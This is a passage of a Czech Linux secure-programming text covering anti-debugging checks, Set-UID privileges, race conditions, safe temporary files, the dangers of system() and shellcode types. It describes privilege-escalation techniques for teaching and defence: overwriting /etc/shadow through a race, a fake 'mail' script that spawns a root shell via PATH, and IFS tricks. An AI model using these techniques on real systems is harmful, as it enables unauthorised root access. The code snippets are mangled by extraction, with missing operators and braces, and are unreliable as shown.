4.2 Falesˇne´ breakpointy Jiny´m druhem ochrany mu˚zˇe by´t zaka´z nastavenı´ breakpointu. Nastavenı´ breakpointu debugger gdb provede zapsa´nı´m instrukce int3 (opko´d 0xcc). Nastavujeme-li breakpoint prˇ´ımo na konkre´tnı´ adresu zapı´sˇe se na obsah te´to adresy 0xcc. Provedeme-li nastavenı´ breakpointu pomocı´ jme´na funkce, debugger ulozˇ´ı hodnotu 0xcc azˇ o 4B da´le od adresy funkce. Prˇeskocˇ´ı takzvany´ prolog funkce. Vı´ce si o neˇm povı´me v odstavci 6.2 na straneˇ 42. Instrukce int3 zastavı´ prova´deˇnı´ programu. Debugger po zastavenı´ sa´m zajistı´ opeˇtovne´ ulozˇenı´ pu˚vodnı´ hodnoty na prˇepsane´m mı´steˇ v pameˇti. Implementace ochrany proti breakpointu˚m mu˚zˇe vypadat trˇeba podle obra´zku 4.4. Prˇ´ıklad nastavenı´ falesˇne´ho breakpointu je na obra´zku 4.5.
27
10
/* antidebug2.c * Kompilace: * gcc antidebug2.c -o antidebug2 * Test: * gdb ./antidebug2 * (gdb) break protect * (gdb) run */ #include stdio.h void protect()
10
int main() if ( (*(volatile unsigned *)((unsigned)protect+3) & 0xff) == 0xcc ) printf(”Nedovoleny ´ breakpoint\n”); exit(1);
protect(); 20
/* vlastnı´ program */ return 0;
Obra´zek 4.4: Zaka´za´nı´ breakpointu
/* antidebug3.c * Kompilace: * gcc antidebug3.c -o antidebug3 * Test: * gdb ./antidebug3 * (gdb) run */ #include signal.h void handler(int signum)
10
int main() signal(SIGTRAP,handler); asm (”int3”); /* vlastnı´ program */ return 0;
Obra´zek 4.5: Nastavenı´ falesˇne´ho breakpointu
28
Jak vidı´me, stacˇ´ı vlozˇit instrukci int3. Vola´nı´ instrukce int3 vyvola´ signa´l SIGTRAP. Proto pokud chceme, aby se falesˇny´ breakpoint projevil pouze prˇi krokova´nı´, musı´me tento signa´l odchytit a obslouzˇit. Pokud bychom se pokusili nastavit falesˇny´ breakpoint prˇ´ımy´m za´pisem do pameˇti na danou adresu, nepochodili bychom. Textova´ cˇa´st programu (sekce .text) je ulozˇena v pameˇti pouze pro cˇtenı´. Jedineˇ rodicˇovsky´ proces, ktery´ deˇtsky´ proces trasuje pomocı´ vola´nı´ ptrace(), ma´ vsˇechno povoleno. Plyne z toho, zˇe nenı´ mozˇne´ trasovat proces init. Tento proces je praprˇedkem vsˇech procesu˚ a nema´ rodicˇe. Take´ nenı´ mozˇne´ trasovat programy, ktere´ majı´ nastaven Set-UID bit a nepatrˇ´ı na´m nebo nasˇ´ı skupineˇ.
4.3 Za´kaz trasova´nı´ Poslednı´ metodou ochrany je zaka´z trasova´nı´. Funkce ptrace(PTRACE TRACEME) nemu˚zˇe by´t na jeden proces zavola´na vı´ce nezˇ jednou. O jedno vola´nı´ se v programu pokusı´me sami. Skoncˇ´ıli neu´speˇchem, je zrˇejme´, zˇe na´s neˇkdo (programy strace, ltrace, gdb, ...) trasuje a ukoncˇ´ıme se. Implementace je na obra´zku 4.6. /* antidebug4.c * Kompilace: * gcc antidebug4.c -o antidebug4 * Test: * gdb ./antidebug4 * (gdb) run */ sys/ptrace.h
#include
10
int main() if ( ptrace(PTRACE TRACEME, 0, 0, 0) 0 ) printf(”Nepr ˇejeme si krokova ´nı ´\n”); exit(1);
/* vlastnı´ program */ return 0;
20
Obra´zek 4.6: Za´kaz trasova´nı´
29
Kapitola 5
Zacˇ´ına´me se bra´nit Udeˇlejme si nynı´ prˇehled vlastnostı´ programu˚, ktere´ jsou zajı´mave´ pro u´tocˇnı´ky. Sezna´mı´me se s metodami, ktere´ u´tocˇnı´ci pouzˇ´ıvajı´.
5.1 Prostrˇedı´ V GNU/Linux syste´mu, stejneˇ jako na ostatnı´ch syste´mech odvozeny´ch z OS UNIX, je kazˇdy´ uzˇivatel identifikova´n svy´m cˇ´ıslem. Toto cˇ´ıslo oznacˇujeme jako UID (User Identification). Seznam teˇchto cˇ´ısel spolecˇneˇ s alfanumericky´m vyja´drˇenı´m jme´na uzˇivatele je ulozˇen v souboru /etc/passwd. UID s cˇ´ıslem 0 je vyhrazeno uzˇivateli se jme´nem root. Root je specia´lnı´ uzˇivatel urcˇeny´ pro administraci syste´mu. Jeho cˇinnost nad syste´mem nenı´ omezena zˇa´dny´mi bezpecˇnostnı´mi za´branami. Hesla k jednotlivy´m uzˇivatelsky´m kontu˚m jsou v zakryptovane´m tvaru take´ ulozˇena v souboru /etc/passwd. Noveˇji mohou by´t v souboru /etc/shadow. Spusˇteˇny´ program vlastnı´ informaci o tom, ktery´ uzˇivatel provedl jeho spusˇteˇnı´. Ve strukturˇe, kterou ja´dro uchova´va´ pro kazˇdy´ proces, je mimo jine´ polozˇka RUID (Real UID). Do polozˇky RUID se prˇi spousˇteˇnı´ programu zkopı´ruje UID uzˇivatele. Nynı´ ma´ program nad adresa´ˇri a soubory stejna´ pra´va jako uzˇivatel ktery´ jej spustil. Naprˇ´ıklad soubor /etc/shadow obsahujı´cı´ zakryptovany´ tvar hesel k uzˇivatelsky´m kontu˚m ma´ pra´va nastavena tak, aby ho mohl cˇ´ıst a modifikovat pouze uzˇivatel root. Beˇzˇne´mu uzˇivateli, prˇesneˇji ˇrecˇeno jeho procesu˚m, se nepovede obsah tohoto souboru cˇ´ıst nebo modifikovat. Co kdyzˇ si ale uzˇivatel bude chtı´t zmeˇnit sve´ heslo? Jeho pra´va mu za´pis do souboru /etc/shadow neumozˇnı´. Z toho du˚vodu ma´ kazˇdy´ program mozˇnost mı´t nastaven takzvany´ Set-UID bit. Ve strukturˇe ja´dra pro kazˇdy´ proces je dalsˇ´ı polozˇka se jme´nem EUID (Effective UID). Za norma´lnı´ch okolnostı´ je hodnota EUID stejna´ jako RUID. Je-li nastaven u programu Set-UID bit, potom hodnota polozˇky EUID odpovı´da´ UID majitele souboru a nikoliv UID uzˇivatele, ktery´ program spustil. Pokousˇ´ı-li se proces o manipulaci se soubory, vzˇdy se testujı´ obeˇ opra´vneˇnı´ RUID i EUID. 30
Odpovı´da´-li alesponˇ jedna hodnota, pak je operace povolena. Nejzajı´maveˇjsˇ´ı jsou programy s nastaveny´m Set-UID bit, ktere´ vlastnı´ uzˇivatel root. Vy´sˇe uvedene´ informace platı´ obdobneˇ i pro skupiny. Odpovı´dajı´cı´ polozˇky se jmenujı´ RGID (Real Group Identification) a EGID (Effective Group Identification). Kazˇdy´ program, ktery´ potrˇebuje mı´t nastaven Set-UID bit, by si meˇl efektivnı´ pra´va nechat pouze po dobu nezbytneˇ nutnou. Chyba prˇi programova´nı´ mu˚zˇe zpu˚sobit, zˇe se uzˇivateli povede spustit jeho vlastnı´ ko´d se stejny´mi pra´vy jako meˇl chybny´ program.
5.2 Cˇasoveˇ za´visle´ chyby - race conditions Zvla´sˇtnı´m zpu˚sobem u´toku je vyuzˇitı´ cˇasoveˇ za´visly´ch chyb. Vsˇ´ımat si budeme pouze oblastı´ souvisejı´cı´ch s kriticky´mi sekcemi. Obecneˇ tento druh u´toku nenı´ prˇ´ılisˇ vyuzˇ´ıvany´ pro jeho malou efektivitu. Prˇi tomto druhu u´toku zpravidla nenı´ mozˇne´ spustit zˇa´dny´ uzˇivatelsky´ ko´d navı´c. Mı´sto toho zı´ska´me prˇ´ıstup ke zdroju˚m, ktere´ ma´ Set-UID (cˇi jiny´ zajı´mavy´) program alokovane´. Situaci, kdy se dva nebo vı´ce procesu˚ pokousˇ´ı cˇ´ıst nebo zapisovat do sdı´leny´ch dat a vy´sledek je za´visly´ na cˇasove´ posloupnosti prˇideˇlenı´ procesoru jednotlivy´m procesu˚m, oznacˇujeme jako cˇasoveˇ za´vislou. Odpovı´dajı´cı´ anglicky´ termı´n je race condition. Prˇedstavme si textovy´ editor, ktery´ z neˇjake´ho du˚vodu ma´ nastaven Set-UID bit a patrˇ´ı uzˇivateli root. Po obdrzˇenı´ signa´lu SIGTERM chceme rozepsany´ soubor prˇed ukoncˇenı´m ulozˇit na disk. Prˇed ulozˇenı´m provedeme neˇkolik testu˚. Zda soubor existuje, zda patrˇ´ı uzˇivateli a zda je to textovy´ soubor. Uka´zkova´ cˇa´st by mohla vypadat takto:
struct stat st; if ( stat(name, &st) 0 ) // soubor nenalezen if ( st.st uid != getuid() ) // soubor nepatrˇ´ı uzˇivateli if ( !S ISREG(st.st mode) ) // nenı´ to textovy´ soubor fopen(name,”w”);
Obra´zek 5.1: Cˇasoveˇ za´visle´ chyby Nebezpecˇ´ı spocˇ´ıva´ v tom, zˇe cela´ tato sekvence nemusı´ probeˇhnout atomicky. Pokud se na´m v dobeˇ mezi poslednı´m testem a otevrˇenı´m povede ze souboru name udeˇlat link na soubor /etc/shadow a zapı´sˇeme ”root:1:99999:::::”, ma´me uzˇivatele root bez hesla. Tato doba je velmi mala´, nicme´neˇ je rea´lna´. Syste´m zahltı´me mnozˇstvı´m skriptu˚ ve stylu while(1) . Atakovany´ program pustı´me s co nejmensˇ´ı prioritou: nice -n 20 program. A ted’ uzˇ jenom pomocı´ dalsˇ´ıch skriptu˚ stacˇ´ı prove´st tisı´ce u´toku˚. Trasova´nı´ Set-UID programu˚ sice nenı´ 31
mozˇne´ pokud nejsme jejich vlastnı´ky (nebo nepatrˇ´ıme do prˇ´ıslusˇne´ skupiny), ale signa´ly SIGSTOP a SIGCONT vyslane´ z kla´vesnice fungujı´ spolehliveˇ. Kdyzˇ uzˇ je soubor jednou otevrˇen, zˇa´dne´ operace nad jeho jme´nem nemajı´ vliv na jeho obsah. Kernel si hlı´da´ asociaci deskriptoru s obsahem souboru tak dlouho, dokud se nezavola´ close(). To i v prˇ´ıpadeˇ kdybychom mezitı´m soubor smazali. Ve sveˇtle teˇchto poznatku˚ se tedy jevı´ jako lepsˇ´ı varianta nejdrˇ´ıve soubor otevrˇ´ıt a potom zkoumat jeho charakteristiky. Ne obra´ceneˇ, jako tomu bylo v prˇedchozı´m prˇ´ıkladu.
int fd; struct stat st; FILE *file; if ( (fd=open(name,O WRONLY,0)) 0 ) // soubor nelze otevrˇ´ıt fstat(fd, &st); // zde provedeme potrˇebne´ testy if ( (file = fdopen(fd,”w”)) == NULL ) // nelze otevrˇ´ıt jako FILE stream 10
Obra´zek 5.2: Oprava cˇasoveˇ za´visle´ chyby Prˇehled dalsˇ´ıch du˚lezˇity´ch vola´nı´ ja´dra, pracujı´cı´ prˇ´ımo s deskriptorem souboru: int fchdir(int fd) zmeˇna aktua´lnı´ho adresa´ˇre int fchmod(int fd, mode t mode) zmeˇna pra´v souboru int fchown(int fd, uid t uid, gid t gid) zmeˇna vlastnı´ka souboru int fstat(int fd, struct stat *st) status souboru int ftruncate(int fd, off t lenght) orˇ´ızne soubor na zadanou velikost FILE * fdopen(int fd, char *mode) otevrˇenı´ proudu souboru Du˚lezˇite´ je vzˇdy kontrolovat na´vratovy´ ko´d funkcı´. Prˇi sˇpatne´ volbeˇ knihovnı´ch funkcı´ na´s nezachra´nı´ ani du˚sledna´ kontrola vsˇech na´vratovy´ch ko´du˚. Naprˇ´ıklad jedna ze starsˇ´ıch verzı´ /bin/login byla implementova´na tak, zˇe pokud nenalezla soubor /etc/passwd, poskytla prˇihla´sˇenı´ uzˇivatele root bez hesla. Je sporne´, jestli je tato idea sˇpatna´ cˇi ne, dodnes ji neˇktere´ distribuce pouzˇ´ıvajı´. Proble´m byl v tom, zˇe mı´sto testu, zda soubor existuje, se provedl test, zda lze otevrˇ´ıt. U´ tocˇnı´kovi stacˇilo, aby vycˇerpal maxima´lnı´ mozˇny´ pocˇet otevrˇeny´ch deskriptoru˚, a mohl se prˇihla´sit jako root bez hesla.
5.2.1 Za´mky souboru˚ Program, ktery´ beˇzˇ´ı s pra´vy uzˇivatele root, by nemeˇl spole´hat na vy´lucˇny´ prˇ´ıstup k souboru. Zajistit vy´lucˇny´ prˇ´ıstup je pomeˇrneˇ obtı´zˇne´. Na Linuxu jsou definova´ny dva druhy za´mku˚ souboru˚. Prvnı´ pocha´zı´ ze syte´mu BSD. Jedna´ se o funkci int flock(int fd, int operation). Prvnı´ parametr je deskriptor souboru. Druhy´ urcˇuje typ za´mku. LOCK SH je za´mek pro cˇtenı´ a pro jeden soubor jich mu˚zˇe by´t neˇkolik. LOCK EX je za´mek pro za´pis. Za´mek pro za´pis mu˚zˇe by´t pouze jeden a za´roveˇnˇ nesmı´ by´t
32
zˇa´dny´ za´mek pro cˇtenı´. LOCK UN uvolnı´ za´mek. Cele´ vola´nı´ je blokujı´cı´ operace. Neblokujı´cı´ vola´nı´ nastavı´me logicky´m nebo parametru LOCK NB s typem za´mku. Druhy´ zpu˚sob je pomocı´ funkce int fcntl(int fd, int cmd, struct flock *lock). Prvnı´m parametrem je deskriptor souboru. Druhy´ typ operace: F SETLK - neblokujı´cı´ za´mek, F SETLKW - blokujı´cı´ za´mek, F GETLK - zı´ska´nı´ informacı´ o za´mku. Trˇetı´ parametr je ukazatel na strukturu typu struct flock. Tato struktura obsahuje polozˇky: int l type F RDLCK-cˇtenı´, F WRLCK-za´pis, F UNLCK-uvolneˇnı´ int l whence odkud urcˇujeme zacˇa´tek, zpravidla SEEK SET off t start pocˇa´tek za´mku, zpravidla 0 off t len de´lka za´mku, 0 znamena´ do konce souboru Jak vidı´me, tento druh za´mku umozˇnˇuje i uzamknutı´ pouze cˇa´sti souboru. Uzamknutı´ souboru pomocı´ za´mku ma´ ovsˇem vy´znam pouze mezi dobrˇe napsany´mi programy. Pokud se sˇpatneˇ napsany´ program na za´mek vu˚bec nepta´ a zacˇne do souboru zapisovat, povede se mu to. Chceme-li zabra´nit te´to situaci, je u fcntl() mozˇne´ pouzˇ´ıt tzv. striktnı´ za´mky. Kdyzˇ je soubor striktneˇ uzamcˇen, nepovede se do neˇj za´pis ani uzˇivateli root. Nastavenı´ striktnı´ch za´mku˚ se skla´da´ ze dvou kroku˚. V prvnı´m kroku nastavı´me souboru zvla´sˇtnı´ kombinaci prˇ´ıstupovy´ch pra´v. Pro skupinu nastavı´me Set-UID bit a odebereme pra´vo spousˇteˇnı´ skupineˇ - chmod g+s-x soubor. Ve druhe´m kroku nastavı´me prˇ´ıslusˇne´ diskove´ oblasti mandatory atribut - mount / -o remount,mand. O pouzˇitı´ striktnı´ch za´mku˚ tedy rozhoduje administra´tor syste´mu a nikoliv programa´tor.
5.2.2 Vytva´rˇenı´ docˇasny´ch souboru˚ Mnohe´ programy cˇasto vyzˇadujı´ odkla´da´nı´ informacı´ do docˇasny´ch souboru˚. Pro tento u´cˇel se zpravidla pouzˇ´ıva´ adresa´ˇr /tmp. Pomocı´ promeˇnne´ prostrˇedı´ TMPDIR lze specifikovat i jiny´ adresa´ˇr. Jme´no docˇasne´ho souboru by nikdy nemeˇlo by´t pevneˇ dane´. Pro u´tocˇnı´ka je velmi snadne´ vytvorˇit link na jiny´ soubor. Prˇedstavme si, zˇe ma´me mechanismus generova´nı´ unika´tnı´ch jmen. Prˇesto se chceme pojistit proti prˇ´ıpadne´mu prˇedem prˇipravene´mu linku u´tocˇnı´kem. Na´sˇ test by mohl vypadat trˇeba takto: if ( (fd=open(filename, O RDWR)) != 1 ) chyba(); // soubor jizˇ existuje fd = open(filename, O RDWR O CREAT, 0644);
Zde ale mu˚zˇe dojı´t k cˇasoveˇ za´visle´ chybeˇ. Tyto dva ˇra´dky nemusı´ probeˇhnout atomicky. Vhodny´m ˇresˇenı´m je pouzˇ´ıt test na existenci prˇ´ımo prˇi vytva´ˇrenı´ souboru. Dosa´hneme toho atributem O EXCL. Pokud prˇi vytva´ˇrenı´ soubor jizˇ existuje, vola´nı´ skoncˇ´ı neu´speˇchem. Spra´vneˇ si tedy vystacˇ´ıme s tı´mto vola´nı´m:
fd = open(filename, O RDWD
O CREAT
O EXCL, 0644);
33
Prˇi pouzˇitı´ funkce fopen() je mozˇne´ pouzˇ´ıt prˇ´ıznak ’+x’, ktery´ ma´ take´ vy´znam exkluzivity. Celkoveˇ se tedy vytvorˇenı´ docˇasne´ho souboru skla´da´ ze trˇ´ı kroku˚:
zı´ska´nı´ unika´tnı´ho jme´na otevrˇenı´ s O CREAT a O EXCL kontrola, zda se otevrˇenı´ povedlo
Zı´ska´nı´ unika´tnı´ho jme´na Funkce char *tmpname(char *s) a char *tempname(const char *dir, const char *prefix) jsou podle prˇ´ıslusˇny´ch manua´lovy´ch stra´nek nespolehlive´ a nemeˇly by se pouzˇ´ıvat. Vy´voja´ˇri projektu GNOME 1 prˇesto tyto funkce pouzˇ´ıvajı´. Jejich doporucˇena´ konstrukce vypada´ takto: do filename = tempname(NULL, ”foo”); fd = open(filename, O CREAT O EXCL free(filename); while (fd == 1);
O TRUNC
O RDWD, 0600);
Tato metoda ale nenı´ idea´lnı´. Stacˇ´ı, aby u´tocˇnı´k vycˇerpal maxima´lnı´ mozˇny´ pocˇet otevrˇeny´ch deskriptoru˚ souboru˚, a zpu˚sobı´, zˇe program uva´zne v nekonecˇne´ smycˇce. Zajı´mava´ je funkce FILE *tmpfile(). Tato funkce vytvorˇ´ı unika´tnı´ docˇasny´ soubor a otevrˇe ho. Jedna´ se o rychlou a elegantnı´ cestu. Podle Secure Programming How To [6] bohuzˇel tato funkce nenı´ doporucˇova´na. Du˚vody spocˇ´ıvajı´ v chybne´ implementaci v UNIXu System V. Mozˇnosti prˇevzetı´ te´to implementace v ru˚zny´ch klonech UNIXu jsou rea´lne´. Da´le existujı´ funkce char *mktemp(char *template) a char *mkstemp(char *template). Funkce mktemp() vytva´ˇr´ı jme´na z ˇreteˇzce template, ktery´ musı´ by´t ukoncˇen sufixem ’xxxxxx’. Prvnı´ch peˇt ’x’ se nahradı´ cˇ´ıslem procesu. Poslednı´ ’x’ se nahradı´ na´hodnou hodnotou. U funkce mkstemp() je cely´ sufix nahrazen na´hodny´mi cˇ´ısly tak, aby vzniklo unika´tnı´ jme´no. Tato funkce je doporucˇova´na dokumentem Secure Programming How To. Vı´ce na obra´zku 5.3.
5.3 Nebezpecˇna´ funkce system() Funkce int system(const char *string) umozˇnˇuje zada´vat prˇ´ıkazy ˇra´dkove´mu interpretu prˇ´ıkazu˚ – shell. V dalsˇ´ım textu budeme pouzˇ´ıvat jako ˇra´dkovy´ prˇ´ıkazovy´ interpret Bourne Again Shell, zkra´ceneˇ 1
http://www.gnome.org
34
FILE *create tempFILE(char *template) int temp fd; mode t old mode; FILE *temp file; old mode=umask(077); /* ulozˇ´ıme starou masku a nastavı´me novou */ temp fd = mkstemp(template); umask(old mode); if /* if /* if /*
10
(temp fd == 1) chyba(); nelze otevrˇ´ıt */ (!(temp file=fdopen(temp fd,”w+b”))) chyba(); nelze vytvorˇit handler */ (unlink(template) == 1) chyba(); nelze prove´st unlink() */
return temp file;
20
Obra´zek 5.3: Doporucˇovana´ tvorba docˇasne´ho souboru bash. Jedna´ se o nejpouzˇ´ıvaneˇjsˇ´ı shell. Na ˇreteˇzec, ktery´ te´to funkci zada´va´me, bychom meˇli by´t velmi opatrnı´. Prˇedstavme si, zˇe tuto funkci vola´me v programu, ktery´ ma´ nastaven Set-UID bit a patrˇ´ı uzˇivateli root. Program bude prova´deˇt neˇjakou uzˇitecˇnou cˇinnost a o prˇ´ıpadny´ch proble´mech se rozhodne roota informovat emailem. Na´sledujı´cı´ implementace na obra´zku 5.4 nenı´ bezpecˇna´.
int main() /* vlastnı´ program */ if ( chyba() ) system(”mail root < data.log”);
Obra´zek 5.4: Nebezpecˇna´ funkce system() ´ tocˇnı´kovi nynı´ stacˇ´ı prˇidat aktua´lnı´ adresa´ˇr do cesty – export PATH=.:$PATH a napsat si vlastnı´ U verzi programu mail. #!/bin/sh #fiktivnı´ verze programu mail . . . spustı´ root shell /bin/sh
/dev/tty
#musı´me zpa´tky prˇesmeˇtovat vy´stup
35
Lepsˇ´ı variantou by mohlo by´t pouzˇitı´ plne´ cesty. Tedy /usr/bin/mail. Ani to nenı´ dobre´. Kazˇda´ linuxova´ distribuce mu˚zˇe mı´t program mail umı´steˇny´ na ru˚zny´ch mı´stech, naprˇ. /bin/mail. I kdybychom vsˇechny mozˇna´ umı´steˇnı´ vyrˇesˇili, u´tocˇnı´k ma´ v ruce dalsˇ´ı zbranˇ. Tou je promeˇnna´ prostrˇedı´ IFS (Internal Field Separator). Jejı´ obsah urcˇuje znaky, pomocı´ ktery´ch od sebe shell rozpozna´va´ jednotlive´ prˇ´ıkazy. Standardneˇ je IFS nastaveno na mezeru, tabula´tor a novy´ ˇra´dek. Nastavenı´ IFS na znak / na´m tedy nasˇi obranu rozborˇ´ı. Nynı´ neˇkolik pozna´mek. Funkce system(const char *string) pracuje tak, zˇe syste´movy´m vola´nı´m execve() spousˇtı´ prˇ´ıkaz /bin/sh -c ”string”. Je-li /bin/sh link na /bin/bash, docha´zı´ ke specificke´mu spousˇteˇnı´ shellu /bin/bash. Pro na´s je du˚lezˇite´, zˇe v prˇ´ıpadeˇ spousˇteˇnı´ bashe pomocı´ odkazu /bin/sh z programu s nastaveny´m Set-UID bit se bash zbavuje svy´ch efektivnı´ch pra´v. Promeˇnna´ IFS je take´ osˇetrˇena. Toto chova´nı´ bohuzˇel platı´ azˇ pro bash od verze 2.05. Navı´c distribuce jako Debian pouzˇ´ıva´ bash bez te´to vlastnosti. Funkci system() je tedy sta´le nutne´ povazˇovat za nebezpecˇnou. V nasˇich prˇ´ıkladech jsme uka´zkoveˇ pouzˇili vola´nı´ programu mail. Tento program umozˇnˇuje sa´m o sobeˇ spustit externı´ prˇ´ıkaz. Spusˇteˇnı´ externı´ho prˇ´ıkazu dosa´hneme tı´m, zˇe se v textu objevı´ tato sekvence: [zacˇa´tek rˇa´dky]˜!prˇ´ıkaz[konec rˇa´dky]. Te´to vlastnosti bylo naprˇ´ıklad pouzˇito prˇi zna´me´m prolomenı´ bezpecˇnosti programu suidperl. Program suidperl prˇi chybeˇ vygeneroval chybove´ hla´sˇenı´, ktere´ na´sledneˇ pomocı´ programu mail dorucˇil uzˇivateli root. U´ tocˇnı´ku˚m se povedlo nale´zt metodu modifikace chybove´ zpra´vy prˇed odesla´nı´m. Vlozˇili tedy sekvenci spousˇteˇjı´cı´ shell. Od te´ doby existujı´ modifikace programu mail bez mozˇnosti spousˇteˇnı´ externı´ch programu˚. Mnoho vy´voja´ˇru˚ shledalo tuto vlastnost (prˇevzatou z pu˚vodnı´ho programu mail na AT&T UNIXu Version 3) ma´lo uzˇitecˇnou a pomeˇrneˇ nebezpecˇnou. Na obra´zku 5.5 ukazˇme jak funkci system() nahradı´me vola´nı´m z rodiny exec. Ko´d je nynı´ sice o neˇco delsˇ´ı, ale mnohem bezpecˇneˇjsˇ´ı. V prˇ´ıpadech, kdy trva´me na pouzˇitı´ funkce system(), si musı´me vzˇdy zabezpecˇit prostrˇedı´ a kontrolovat obsah promeˇnny´ch prostrˇedı´. Tato situace mu˚zˇe nastat naprˇ. pokud potrˇebujeme pouzˇ´ıt na´sobne´ roury a prˇesmeˇrova´nı´. Prˇevod na vola´nı´ exec by byl komplikovany´. Vı´ce na obra´zku 5.6.
36
/* Nevhodna´ verze: * if (system(“/bin/cp alfa beta”) != 0) * printf(“Chyba prˇi kopı´rova´nı´”); * return 2; * */
pid t pid; int status;
10
if ((pid=fork()) 0 ) printf(”Chyba pr ˇi fork()”); return 2;
if (pid == 0) // noveˇ vznikly´ proces (child) execl(”/bin/cp”,”alfa”,”beta”,NULL); printf(”Chyba pr ˇi execl()”); //pokud se vola´nı´ nepovede return 2;
20
// pu˚vodnı´ proces (parent) waitpid(pid, &status, 0); if ( (!WIFEXITED(status)) (WEXITSTATUS(status) != 0) ) printf(”Chyba pr ˇi kopı ´rova ´nı ´”); return 2;
Obra´zek 5.5: Na´hrada funkce system()
//cele´ prostrˇedı´ smazˇeme //prˇ´ıpadne´ nutne´ promeˇne´ jako USER si ulozˇ´ıme clearenv(); //nastavı´me si co potrˇebujeme setenv(”PATH”,”/bin:/usr/bin:/usr/local/bin”,1); setenv(”IFS”,” \t\n”,1); //spustı´me system(”ls a* | grep alfa | sort > log”); 10
Obra´zek 5.6: Zabezpecˇenı´ prostrˇedı´ prˇi vola´nı´ system()
37
Kapitola 6
Shellko´d Shellko´dem rozumı´me posloupnost bytu˚, ktere´ interpretova´ny jako strojovy´ ko´d, provedou spusˇteˇnı´ shellu. Toto je cı´lem veˇtsˇiny u´toku˚. U´ tocˇnı´k pomocı´ bezpecˇnostnı´ chyby v programu provede vlozˇenı´ shellko´du a zmeˇnı´ tok instrukcı´ tak, aby dosˇlo k jeho spusˇteˇnı´. Samozrˇejmeˇ by bylo mozˇne´ naprogramovat strojovy´ ko´d prˇ´ımo na provedenı´ pozˇadovany´ch operacı´. To je vsˇak zbytecˇneˇ obtı´zˇne´. Beˇzˇnou praxı´ je pouhe´ spusˇteˇnı´ shellu. Zdrojovy´ ko´d programu slouzˇ´ıcı´ k zı´ska´nı´ neopa´vneˇne´ho prˇ´ıstupu mu˚zˇeme rozdeˇlit na dveˇ za´kladnı´ cˇa´sti: funkce, ktere´ vyuzˇijı´ chyby, provedou vlozˇenı´ shellko´du a iniciujı´ jeho spusˇteˇnı´ samotny´ shellko´d Nejcˇasteˇji pouzˇ´ıvane´ metody vlozˇenı´ shellko´du jsou popsa´ny v kapitole 7 na straneˇ 65. Shellko´du˚m samotny´m se budeme veˇnovat nynı´. Podle metody konstrukce shellko´du mu˚zˇeme prove´st na´sledujı´cı´ rozdeˇlenı´: genericky´ shellko´d – Genericky´, neboli beˇzˇny´ shellko´d provede cˇiste´ spusˇteˇnı´ shellu. Jeho konstrukce je prˇ´ımocˇara´ a vhodna´ pro dalsˇ´ı rozsˇirˇova´nı´ funkcˇnosti a vlastnostı´. Dva za´kladnı´ druhy jsou: Aleph One Tento shellko´d pro zjisˇteˇnı´ adresy ˇreteˇzce ”/bin/sh” vyuzˇ´ıva´ instrukce call. Netric U tohoto typu se pro zjisteˇnı´ adresy ˇreteˇzce vyuzˇ´ıva´ jeho vlozˇenı´ na za´sobnı´k a zı´ska´nı´ adresy z registru ESP. shellko´d neza´visly´ – Tato skupina shellko´du˚ se vyznacˇuje tı´m, zˇe je mozˇne´ prove´st spusˇteˇnı´ na vı´ce operacˇnı´ch syste´mech, resp. mikroprocesorovy´ch architektura´ch. Dosahuje se toho pomocı´ u´vodnı´ho ’magicke´ho’ ˇreteˇzce. Ten obsahuje posloupnost takovy´ch bytu˚, zˇe pro urcˇity´ OS/architekturu deko´dovane´ instrukce majı´ vy´znam skoku na nativnı´ shellko´d. Pro ostatnı´ se 38
musı´ jednat o nepodstatne´ instrukce. Cˇ´ım vı´ce operacˇnı´ch syste´mu˚ a architektur shellko´d zvla´da´, tı´m obtı´zˇneˇjsˇ´ı je nalezenı´ u´vodnı´ho ˇreteˇzce. Ru˚zny´ch mozˇnostı´ jsou pouze jednotky. Detekce takove´ho shellko´du filtry je proto velmi snadna´. Shellko´d neza´visly´ na operacˇnı´m syste´mu Tato varianta umozˇnˇujı´cı´ spusˇteˇnı´ pouze na jedne´ architekturˇe je pomeˇrneˇ jednoducha´. Obtı´zˇny´ u´vodnı´ ˇreteˇzec nenı´ potrˇeba. Stacˇ´ı prove´st pouze rozlisˇenı´ specificky´ch vlastnostı´ jednotlivy´ch OS a na´sledneˇ skok na prˇ´ıslusˇny´ shellko´d. Rozlisˇenı´ mu˚zˇeme prove´st naprˇ. podle obsahu segmentovy´ch registru˚ FS a GS. Shellko´d neza´visly´ na architekturˇe Zde jizˇ magicky´ ˇreteˇzec potrˇebujeme. Prˇ´ıkladem mu˚zˇe by´t posloupnost bytu˚ 0x90 0x90 0xeb 0x30. Pro procesory z ˇrady Intel x86 se provedou instrukce nop, nop a skok o 48B da´le. Na procesoru Sparc se provede nevy´znamna´ instrukce or. shellko´d specia´lnı´ – Protozˇe genericke´ a specia´lnı´ shellko´dy lze pomeˇrneˇ dobrˇe detekovat ru˚zny´mi filtry podle specificky´ch sekvencı´, zacˇali u´tocˇnı´ci pouzˇ´ıvat alfanumericke´ a polymorfnı´ shellko´dy. Alfanumericky´ shellko´d Tento shellko´d je tvorˇen pouze takovy´mi instrukcemi, jejichzˇ hexadecima´lnı´ hodnota spada´ do oblasti znaku˚ nebo cˇ´ısel v ASCII tabulce. Filtrova´nı´ takove´ho shellko´du je obtı´zˇne´, protozˇe ma´ tvar beˇzˇne´ho textu. Navı´c lze velmi snadno umı´stit, naprˇ. jako jme´no adresa´ˇre, prˇedmeˇt emailu a podobneˇ. Polymorfnı´ shellko´d Polymorfnı´ shellko´d se skla´da´ z beˇzˇne´ho shellko´du a polymorfnı´ho API rozhranı´, takzˇe vy´sledkem kompilace jsou ru˚zne´ bina´rnı´ podoby. Na tento druh se velmi sˇpatneˇ aplikujı´ naprˇ. kontroly paketu˚ na specificke´ sekvence. bindshell – Bindshell je shellko´d rozsˇ´ıˇreny´ o prˇipojenı´ vstupu a vy´stupu shellu na volny´ port pocˇ´ıtacˇe. K takove´mu portu se jizˇ pouze stacˇ´ı prˇipojit naprˇ´ıklad pomocı´ telnetu a zada´vat vzda´leneˇ prˇ´ıkazy. V dalsˇ´ım textu se postupneˇ sezna´mı´me s vlastnostmi uvedeny´ch shellko´du˚.
